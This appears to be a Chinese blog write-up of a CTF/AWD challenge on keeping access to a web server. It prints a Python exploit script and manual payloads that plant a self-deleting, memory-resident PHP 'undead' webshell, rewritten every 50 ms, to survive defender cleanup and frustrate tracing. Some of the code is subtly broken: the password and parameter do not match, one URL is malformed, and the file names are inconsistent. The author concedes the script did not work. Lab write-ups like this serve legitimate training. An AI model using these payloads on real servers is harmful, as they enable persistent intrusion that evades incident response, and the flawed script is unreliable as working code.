简单休息了一周,今天继续给大家带来一些有用的知识;
- 主要是涉及我们当红队进入目标系统后,面对蓝队的溯源,清理后门等操作,如何不留痕迹的保留后门而不被发现;
主要就是给大家简单的说说常见的后渗透维权场景;
文章目录
靶场介绍
这里我们自然不可能去用真实的生产环境进行尝试,所以这里用一些CTF靶场以考代练 来熟悉我们担任红队后应该做的哪些维权操作以及原理讲解;
这类题目是安全领域 AWD(Attack With Defense,攻防对抗)模式下的经典场景,核心考点在于权限维持。在常规的渗透测试中,拿到 WebShell 通常意味着拿下了目标;但在模拟真实红蓝对抗的 AWD 场景中,拿到初始权限仅仅是开始。你需要考虑如何让你的后门在防守方的疯狂清理、修补和溯源下存活下来。这就像在真实的攻防演练中,蓝队成员在接到预警后会迅速排查可疑进程、清除恶意文件并封堵漏洞。这道题就是让你站在红队攻击者的视角,编写一个让蓝队应急响应极其头疼的"不死马"(Undead Webshell),实现后门的持续驻留。
话不多说,我们直接开始;
场景一
这里我们进入靶场,发现了如下代码:
// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在

php
<?php
// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['action'];
switch($a){
case 'cmd':
eval($_POST['cmd']);
break;
case 'check':
file_get_contents("http://checker/api/check");
break;
default:
die('params not validate');
}
代码解释
从提供的 PHP 代码来看,系统故意暴露了一个极其脆弱的初始 RCE(远程代码执行)接口。当传入 action=cmd 时,触发 eval($_POST['cmd']);,这相当于给了一个临时的"一句话木马",允许你执行任意 PHP 代码。
当传入 action=check 时,服务器会请求后端的 http://checker/api/check。这个 Checker 扮演的就是自动化防御脚本或蓝队清场人员的角色。当触发它时,它会扫描整个 Web 目录,强制删除所有非原始环境的 PHP 文件。
思路:必须先利用初始的 cmd 接口植入一个能够抵抗删除的恶意程序。随后,我们主动调用 check 接口引诱系统进行全盘清理。
- 所以,我们接下来只要创建一个"不死马"能够扛过蓝队的"溯源操作",即可得到生产的flag;
这里我们尝试输入cmd参数 后,可以执行命令以及查看当前权限:


--
绕过方法:PHP不死马
原理:PHP进程逃逸与内存驻留
要抵抗文件系统的物理删除,原理在于利用 PHP 的运行机制实现进程逃逸,将恶意逻辑从硬盘转移到内存中。
-
通常情况下,当 HTTP 请求结束或客户端断开连接时,处理该请求的 PHP 进程就会被销毁,相关资源也会被回收。但 PHP 提供了脱离这种生命周期的系统函数。通过执行
ignore_user_abort(true);,可以强行指示 PHP 引擎在客户端断开连接后继续运行该脚本;配合set_time_limit(0);则取消了脚本的最大执行时间限制。 -
将这两个配置与一个无限死循环 while(true) 结合,这个 PHP 脚本就会蜕变成一个僵尸进程,永远驻留在服务器的内存中。
具体脚本如下:
bash
import requests
import urllib3
import time
# 屏蔽禁用 SSL 验证后产生的控制台警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
base_url = 'http://515ea872-7c90-4985-bc6c-03d8db1528b6.challenge.ctf.show/'
index_url = f"{base_url}/index.php"
undead_payload = """
ignore_user_abort(TRUE);
set_time_limit(0);
unlink(__FILE__);
$file = '.sys.config.php';
$shell = '<?php @eval($_POST["core"]); ?>';
while (true){
file_put_contents($file, $shell);
usleep(50000);
}
"""
print(f"[*] 正在通过eval植入木马...")
requests.post(f"{index_url}/?action=cmd",data={"cmd":undead_payload})
time.sleep(1)
print(f"[*] 触发check机制,引诱系统生成flag...")
requests.get(f"{index_url}/action=check")
time.sleep(2)
print(f"[*] 连接木马,找到flag....")
shell_url = f"{base_url}/.sys.config.php"
response = requests.post(shell_url, data={"1": "system('cat $(find / -name \"*flag*\")');"})
print(f"[*] flag内容为:")
print(response.text)
上述攻击之所以能够奏效,核心在于 Payload 中使用的几个关键 PHP 函数组合。这段 PHP 代码一旦被 eval 执行,就会发生以下化学反应:
-
ignore_user_abort(true);- 这是进程逃逸的关键。默认情况下,如果攻击者的网络断开或 Python 脚本请求结束,服务器上的 PHP 进程就会被强制终止。开启这个选项后,即使 HTTP 连接断开,PHP 脚本也会像脱缰的野马一样在后台继续运行。
-
set_time_limit(0);- PHP 的 php.ini 默认配置了脚本的最大执行时间(通常是 30 秒),超时就会被杀掉。设置为 0 意味着取消时间限制,让这个后台进程获得了无限存活的能力。
-
unlink(__FILE__);- 这是一个高阶的隐藏技巧(俗称"毁尸灭迹")。脚本在运行的第一时间把自己所在的物理文件删掉。这样蓝队在排查文件目录时,根本找不到最初是被哪个文件触发的,增加了溯源难度。
-
while(true) 与 usleep(50000);- 死循环配合微秒级的休眠(这里设定为 50 毫秒)。它让内存中的僵尸进程每隔 0.05 秒就向硬盘写入一次隐藏的 .sys_config.php 木马。Checker 的清理脚本通常是单次或间歇性扫描,其删除速度绝对赶不上这种内存级别的复写速度。
这里我们执行脚本进行"条件竞争",能够成功连接蚁剑:
bash
URL:http://43fcc613-e9e1-47c0-89a0-f5eb33dd4424.challenge.ctf.show/.sys.config.php
密码:core


但是check后,发现出现错误:

这里既然执行python脚本不行,那就尝试一些手动输入:
- 自动注入竟然不管用。。。
手动注入
bash
# pyaload
cmd=file_put_contents('.sys.config.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[core]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');
结果如下:

访问不死马.sys.config.php后(访问时会一直加载,然后就会出现404 Not Found),再触发check,然后就可以在shell.php执行命令拿flag了

结果:

总结
本关主要考点就是知道如何利用php的ignore_user_abort(true); 函数进行后门维持;
期待下次再见;